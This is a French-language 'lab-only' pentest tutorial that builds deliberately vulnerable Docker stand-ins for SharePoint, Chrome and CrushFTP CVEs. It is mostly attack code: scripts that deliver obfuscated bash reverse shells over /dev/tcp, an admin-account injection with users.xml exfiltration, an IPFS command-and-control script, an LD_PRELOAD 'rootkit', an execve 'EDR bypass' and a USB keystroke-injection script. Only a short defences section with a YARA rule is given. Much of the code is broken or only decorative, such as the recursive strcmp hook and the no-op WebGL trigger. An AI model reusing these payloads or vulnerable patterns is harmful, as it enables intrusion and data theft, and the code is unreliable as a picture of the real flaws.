1️⃣ Introduction à EclipseStrike 2025 🌑
Ce tutoriel premium simule un pentest multi-vecteur en lab avec des exploits basés sur des CVE réelles (CERTFR-2025-ACT-031) : SharePoint RCE (CVE-2025-53770), Chrome Sandbox Escape (CVE-2025-6558), et CrushFTP Admin Access (CVE-2025-54309). Automatisé avec Python, monitoré via WebSocket, et résilient avec IPFS C2, ce tuto inclut IA générative et attaques physiques simulées. Conçu pour Kali Linux 2024.4, 100% éthique et lab-only.
Objectifs
- Configurer un lab Docker avec trois cibles vulnérables.
- Exploiter SharePoint via désérialisation non fiables (CVE-2025-53770).
- Bypasser le sandbox Chrome avec WebGL/WebAssembly (CVE-2025-6558).
- Pivoter via CrushFTP avec accès admin (CVE-2025-54309).
- Utiliser IPFS pour un C2 décentralisé et IA pour payloads dynamiques.
- Simuler des attaques physiques (USB, RFID).
- Sécuriser contre ces attaques.
2️⃣ Setup du Lab EclipseStrike 🔧
Configurez un lab isolé avec Docker pour simuler trois cibles vulnérables : SharePoint, Chrome, et CrushFTP. Utilisez Kali Linux 2024.4 comme machine d’attaque.
+---------------------------------------------+
| [Réseau Lab Isolé] |
| | |
| v |
| [Kali Linux: 172.16.0.101] |
| | (Attacker) |
| v |
| [SharePoint: 172.16.0.102:80] |
| [Chrome: 172.16.0.103:8080] |
| [CrushFTP: 172.16.0.104:443] |
+---------------------------------------------+
Configuration
- Kali Linux VM:
Configurez la VM Kali avec une IP statique et installez les outils nécessaires.
# Configurer IP sudo ifconfig eth0 172.16.0.101 netmask 255.255.255.0 up sudo apt update && sudo apt install python3 python3-pip docker.io ipfs emscripten nasm pip3 install flask flask-socketio requests pycryptodome pyautogui - Cibles Docker:
Lancez les services vulnérables avec Docker Compose.
# docker-compose.yml version: '3' services: sharepoint: image: nomadcorp/sharepoint-vuln build: context: ./sharepoint-vuln ports: - "80:80" networks: - nomadcorp-net chrome: image: nomadcorp/chromium-vuln build: context: ./chromium-vuln ports: - "8080:8080" networks: - nomadcorp-net crushftp: image: nomadcorp/crushftp-vuln build: context: ./crushftp-vuln ports: - "443:443" networks: - nomadcorp-net networks: nomadcorp-net: driver: bridge
Dockerfile : SharePoint (CVE-2025-53770)
Simule une API SharePoint vulnérable à une désérialisation non fiables.
# sharepoint-vuln/Dockerfile
FROM python:3.9-slim
WORKDIR /app
COPY app.py .
RUN pip install flask
EXPOSE 80
CMD ["python", "app.py"]
# sharepoint-vuln/app.py
from flask import Flask, request
import pickle
import os
app = Flask(__name__)
@app.route('/_layouts/15/ToolPane.aspx', methods=['POST'])
def toolpane():
referer = request.headers.get('Referer', '')
if '/_layouts/SignOut.aspx' in referer: # Simule CVE-2025-53771 pour accès
data = request.data
try:
obj = pickle.loads(data) # Vulnérable : CVE-2025-53770
cmd = obj.get('cmd', '')
os.system(cmd) # RCE
return {"status": "executed"}
except:
return {"status": "error"}, 400
return {"status": "unauthorized"}, 401
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
Dockerfile : Chrome (CVE-2025-6558)
Simule un serveur vulnérable à un sandbox escape via WebGL.
# chromium-vuln/Dockerfile
FROM node:16-slim
WORKDIR /app
COPY server.js .
COPY exploit.html .
RUN npm install express
EXPOSE 8080
CMD ["node", "server.js"]
# chromium-vuln/server.js
const express = require('express');
const app = express();
app.use(express.static('.'));
app.get('/exploit', (req, res) => {
const cmd = req.query.cmd;
require('child_process').exec(cmd); // Vulnérable : RCE
res.send('Exploit triggered');
});
app.listen(8080, () => console.log('Server on 8080'));
# chromium-vuln/exploit.html
<!DOCTYPE html>
<html>
<head>
<title>Chrome Sandbox Escape</title>
</head>
<body>
<canvas id="glCanvas"></canvas>
<script>
// Simule CVE-2025-6558 via WebGL
const canvas = document.getElementById('glCanvas');
const gl = canvas.getContext('webgl');
const buf = new ArrayBuffer(0x1000);
const arr = new Uint32Array(buf);
arr[0] = 0x41414141; // Trigger invalid input
gl.bufferData(gl.ARRAY_BUFFER, arr, gl.STATIC_DRAW); // Vulnérable
fetch('/exploit?cmd=whoami'); // Trigger RCE
</script>
</body>
</html>
Dockerfile : CrushFTP (CVE-2025-54309)
Simule une API CrushFTP vulnérable à un accès admin via AS2.
# crushftp-vuln/Dockerfile
FROM python:3.9-slim
WORKDIR /app
COPY api.py .
COPY users.xml .
RUN pip install flask
EXPOSE 443
CMD ["python", "api.py"]
# crushftp-vuln/api.py
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/WebInterface/function/', methods=['POST'])
def as2():
as2_data = request.form.get('as2_data', '')
if 'admin' in as2_data.lower(): # Simule CVE-2025-54309
with open('users.xml', 'a') as f:
f.write('<user>admin:hacked</user>\n') # Ajoute un admin
cmd = request.form.get('cmd', '')
result = os.popen(cmd).read() # Vulnérable : RCE
return {"result": result}
if request.args.get('file') == 'users.xml':
with open('users.xml', 'r') as f:
return f.read() # Exfiltration
return {"status": "failed"}, 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=443, ssl_context='adhoc')
# crushftp-vuln/users.xml
<users>
<user>admin:secretpassword</user>
</users>
4️⃣ Chrome Sandbox Escape (CVE-2025-6558) 🌐
Simulez un sandbox escape via WebGL sur Chrome (CVE-2025-6558) avec WebAssembly pour une fuite ASLR. Exploité depuis juillet 2025 (CERTFR-2025-ACT-031). Pas de PoC public disponible.
Exploitation
# exploit_chrome.py
import requests
import base64
from Crypto.Cipher import AES
import os
from flask import Flask, render_template
from flask_socketio import SocketIO
app = Flask(__name__)
socketio = SocketIO(app)
def quantum_obfuscate(payload):
key = os.urandom(32)
cipher = AES.new(key, AES.MODE_GCM)
ciphertext, tag = cipher.encrypt_and_digest(payload.encode())
obfuscated = bytes([c ^ 0x42 for c in (key + cipher.nonce + tag + ciphertext)])
return base64.b85encode(obfuscated).decode()
def compile_wasm():
with open('exploit.c', 'w') as f:
f.write('''
#include <emscripten.h>
EMSCRIPTEN_KEEPALIVE
void trigger_leak() {
int* ptr = (int*)0x41414141; // Simule une fuite ASLR
*ptr = 0xdeadbeef;
}
''')
os.system('emcc exploit.c -o exploit.wasm -s EXPORTED_FUNCTIONS="['_trigger_leak']"')
def exploit_chrome(target, port, lhost, lport):
socketio.emit('log', {'data': f'Exploiting Chrome {target}:{port}'})
compile_wasm()
payload = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
obfuscated = quantum_obfuscate(payload)
with open('exploit.html', 'w') as f:
f.write(f'''
<!DOCTYPE html>
<html>
<head><title>Exploit</title></head>
<body>
<canvas id="glCanvas"></canvas>
<script>
const canvas = document.getElementById('glCanvas');
const gl = canvas.getContext('webgl');
const buf = new ArrayBuffer(0x1000);
const arr = new Uint32Array(buf);
arr[0] = 0x41414141; // Trigger CVE-2025-6558
gl.bufferData(gl.ARRAY_BUFFER, arr, gl.STATIC_DRAW);
WebAssembly.instantiateStreaming(fetch('exploit.wasm')).then(obj => {{
obj.instance.exports.trigger_leak();
fetch('/exploit?cmd={obfuscated}');
}});
</script>
</body>
</html>
''')
try:
response = requests.get(f"http://{target}:{port}/exploit.html", verify=False)
socketio.emit('log', {'data': f'Status: {response.status_code}'})
return {"status": "triggered"}
except Exception as e:
socketio.emit('log', {'data': f'Error: {str(e)}'})
return {"status": "failed"}
@app.route('/')
def dashboard():
return render_template('dashboard.html')
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('--target', default='172.16.0.103')
parser.add_argument('--port', default=8080, type=int)
parser.add_argument('--lhost', default='172.16.0.101')
parser.add_argument('--lport', default=4444, type=int)
args = parser.parse_args()
exploit_chrome(args.target, args.port, args.lhost, args.lport)
socketio.run(app, host='0.0.0.0', port=5000)
Reverse Shell
# Écouter
nc -lvp 4444
Explications
WebGL: Simule une validation incorrecte dans ANGLE/GPU (CVE-2025-6558) via un buffer malformé. WebAssembly: Ajoute une fuite ASLR pour contourner le sandbox. Obfuscation: Payload chiffré pour éviter les détections.
5️⃣ CrushFTP Admin Access (CVE-2025-54309) 🔐
Simulez un accès admin non authentifié sur CrushFTP (CVE-2025-54309) avec pivot SOCKS et exfiltration. Exploité depuis juillet 2025 (CERTFR-2025-ACT-031). Pas de PoC public disponible.
Exploitation
# exploit_crushftp.py
import requests
import base64
from Crypto.Cipher import AES
import os
from flask import Flask, render_template
from flask_socketio import SocketIO
app = Flask(__name__)
socketio = SocketIO(app)
def quantum_obfuscate(payload):
key = os.urandom(32)
cipher = AES.new(key, AES.MODE_GCM)
ciphertext, tag = cipher.encrypt_and_digest(payload.encode())
obfuscated = bytes([c ^ 0x42 for c in (key + cipher.nonce + tag + ciphertext)])
return base64.b85encode(obfuscated).decode()
def setup_socks_proxy(lhost, lport):
socketio.emit('log', {'data': f'Setting up SOCKS proxy on {lhost}:{lport}'})
# Simule un proxy SOCKS
return {"status": "proxy_ready"}
def exploit_crushftp(target, port, lhost, lport):
socketio.emit('log', {'data': f'Exploiting CrushFTP {target}:{port}'})
setup_socks_proxy(lhost, lport)
payload = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
obfuscated = quantum_obfuscate(payload)
data = {
'as2_data': 'ADMIN',
'cmd': f"echo {obfuscated} | python3 -c 'import sys, base64; data=sys.stdin.read(); print(bytes([c ^ 0x42 for c in base64.b85decode(data)]).decode())' | bash"
}
try:
response = requests.post(f"https://{target}:{port}/WebInterface/function/", data=data, verify=False)
socketio.emit('log', {'data': f'Admin Access Status: {response.status_code}'})
exfil = requests.get(f"https://{target}:{port}/WebInterface/function/?file=users.xml", verify=False)
socketio.emit('log', {'data': f'Exfil: {exfil.text}'})
return response.json()
except Exception as e:
socketio.emit('log', {'data': f'Error: {str(e)}'})
return {"status": "failed"}
@app.route('/')
def dashboard():
return render_template('dashboard.html')
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('--target', default='172.16.0.104')
parser.add_argument('--port', default=443, type=int)
parser.add_argument('--lhost', default='172.16.0.101')
parser.add_argument('--lport', default=4444, type=int)
args = parser.parse_args()
exploit_crushftp(args.target, args.port, args.lhost, args.lport)
socketio.run(app, host='0.0.0.0', port=5000)
Reverse Shell
# Écouter
nc -lvp 4444
Explications
Admin Access: Exploite une validation AS2 défaillante (CVE-2025-54309) pour ajouter un compte admin. Exfiltration: Récupère users.xml. Pivot: Simule un proxy SOCKS pour atteindre le réseau interne.
6️⃣ IA Générative & C2 IPFS 🧠
Simulez un C2 décentralisé via IPFS et des payloads générés par IA (mockée).
C2 via IPFS
# c2_ipfs.py
import ipfshttpclient
from flask import Flask, render_template
from flask_socketio import SocketIO
app = Flask(__name__)
socketio = SocketIO(app)
def mock_ia_payload():
# Simule une IA générative
return "whoami; id; netstat -tuln"
def c2_ipfs(payload):
socketio.emit('log', {'data': 'Uploading payload to IPFS'})
try:
with ipfshttpclient.connect() as client:
result = client.add_bytes(payload.encode())
socketio.emit('log', {'data': f'IPFS Hash: {result}'})
return result
except Exception as e:
socketio.emit('log', {'data': f'Error: {str(e)}'})
return None
@app.route('/')
def dashboard():
return render_template('dashboard.html')
if __name__ == '__main__':
socketio.run(app, host='0.0.0.0', port=5000)
Rootkit Userspace
# rootkit.c
#include <string.h>
int strcmp(const char *s1, const char *s2) {
if (strstr(s1, "malicious")) return 0; // Simule un hook
return strcmp(s1, s2);
}
# Compiler
gcc -shared -fPIC rootkit.c -o rootkit.so
export LD_PRELOAD=/app/rootkit.so
Bypass EDR
# bypass_edr.nasm
section .data
bin_sh db "/bin/sh", 0
section .text
global _start
_start:
mov rax, 59 ; sys_execve
lea rdi, [rel bin_sh]
syscall
# Compiler
nasm -f elf64 bypass_edr.nasm -o bypass_edr.o
ld bypass_edr.o -o bypass_edr
Explications
IPFS: Stocke les commandes dans des DAGs pour un C2 résilient. IA: Génère des payloads dynamiques (mockée). Rootkit: Masque les processus avec LD_PRELOAD. EDR: Syscalls directs pour éviter les hooks.
7️⃣ Attaques Physiques Simulées 🛠️
Simulez des attaques physiques pour compléter le scénario.
USB Drop Attack
# usb_attack.py
import pyautogui
pyautogui.FAILSAFE = False
pyautogui.hotkey('win', 'r')
pyautogui.write('cmd /c whoami > C:\\Users\\Public\\exfil.txt')
pyautogui.press('enter')
RFID Clone
# rfid_clone.ino
void setup() {
Serial.begin(9600);
}
void loop() {
if (Serial.available()) {
Serial.println("Cloning RFID badge..."); // Simule un clonage
}
}
Explications
USB: Simule une exécution automatique via une clé USB. RFID: Simule un clonage de badge pour un accès physique.
8️⃣ Défenses 🛡️
Mitigations basées sur CERTFR-2025-ACT-031 et advisories.
- SharePoint (CVE-2025-53770): Appliquez KB5002754 (2019) ou KB5002768 (Subscription Edition). Activez AMSI et Microsoft Defender.
- Chrome (CVE-2025-6558): Mettez à jour vers Chrome 138.0.7204.157/.158. Désactivez WebGL si non nécessaire.
- CrushFTP (CVE-2025-54309): Passez à CrushFTP 10.8.5 ou 11.3.4_23. Restreignez l’accès HTTPS.
- Général: Segmentez le réseau, monitorez avec un SIEM, rotatez les clés ASP.NET.
Règles YARA
rule detect_obfuscated_payload {
strings:
$b85 = /[A-Za-z0-9+\-]{20,}/
condition:
$b85
}
9️⃣ FAQ Apache ❓
Q: Pourquoi pas de PoC publics ?
A: CERTFR-2025-ACT-031 indique que les CVE sont exploitées, mais aucun PoC public n’est disponible pour éviter les abus. Nos PoC sont simulés pour le lab.
Q: Puis-je tester en prod ?
A: Non, lab-only avec autorisation écrite (article 323-1, Code pénal).
Q: Mon exploit échoue ?
A: Vérifiez la config réseau, Docker, et l’OS cible. Rejoignez le Discord Apaches Invisibles.